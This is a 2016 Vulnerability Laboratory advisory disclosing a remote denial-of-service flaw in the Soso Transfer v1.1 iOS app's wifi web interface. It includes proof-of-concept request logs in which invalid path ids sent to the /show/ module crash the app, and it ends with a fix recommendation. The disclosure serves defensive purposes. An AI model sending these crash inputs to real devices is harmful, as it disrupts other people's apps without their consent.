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[FD] Soso Transfer v1.1 iOS - Denial of Service Vulnerability

Document Title:
===============
Soso Transfer v1.1 iOS - Denial of Service Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1703


Release Date:
=============
2016-02-02


Vulnerability Laboratory ID (VL-ID):
====================================
1703


Common Vulnerability Scoring System:
====================================
3


Product & Service Introduction:
===============================
Soso Transfer is the easiest and fastest way to transfer photos (videos) from 
Camera Roll to computer or other iOS devices, and vice versa. 
No need for USB cable, iTunes or extra equipment! “Simple but powerful! No even 
a redundant step, it just lets you do what you want to do, 
a highly-recommended transfer app!

(Copy of the Homepage: 
https://itunes.apple.com/us/app/soso-transfer-wireless-backup/id1000466165 )



Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a remote denial of 
service vulnerability in the official Soso Transfer mobile iOS web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-02:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Elite Tracy
Product: Soso Transfer - iOS (Web-Application) 1.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A remote denial of service web vulnerability has been discovered in the 
official Soso Transfer mobile iOS web-application.
The web vulnerability allows remote attackers to crash or to shutdown the 
application by include of invalid values.

The vulnerability is located in the `path` value of the `show id` module. 
Remote attackers are able to request the show path with invalid ids. 
Thus results in a permanent shutdown of the mobile iOS web-application. The 
attacker injects only a low amount of invalid values to the path location 
to crash the mobile web-application permanently. The request method to attack 
is GET and the attack vector of the issue is located on the client-side 
of the application. The issue is a classic denial of service issue that is 
exploited by an invalid value context as an application parameter.

The security risk of the denial of service vulnerability is estimated as medium 
with a cvss (common vulnerability scoring system) count of 3.0. 
Exploitation of the denial of service web vulnerability requires no user 
interaction or privileged web-application user account. 
Successful exploitation of the application web vulnerability results in 
permanent application crashs or stable shutdowns.

Request Method(s):
                                [+] GET

Vulnerable Module(s):
                                [+] ./show/

Vulnerable Parameter(s):
                                [+] path as id


Proof of Concept (PoC):
=======================
The denial of service web vulnerability can be exploited by remote attackers in 
the local wifi network without privileged user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

--- PoC Session Logs [GET] ---
Status: 200[OK] 
GET http://localhost:3030/show/-1' Load Flags[LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[localhost:3030]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
-
Status: 200[OK] 
GET http://localhost:3030/show/-99999999 Load Flags[LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[localhost:3030]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]

Reference(s):
http://localhost:3030/show/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure restriction of the show modules 
path id value. 
Disallow invalid values and use an own exception-handling to prevent denial of 
service issues via client-side GET parameter requests.


Security Risk:
==============
The security risk of the denial of service web vulnerability in the wifi 
web-server interface application is estimated as medium. (CVSS 3.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(research@xxxxxxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


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=========================
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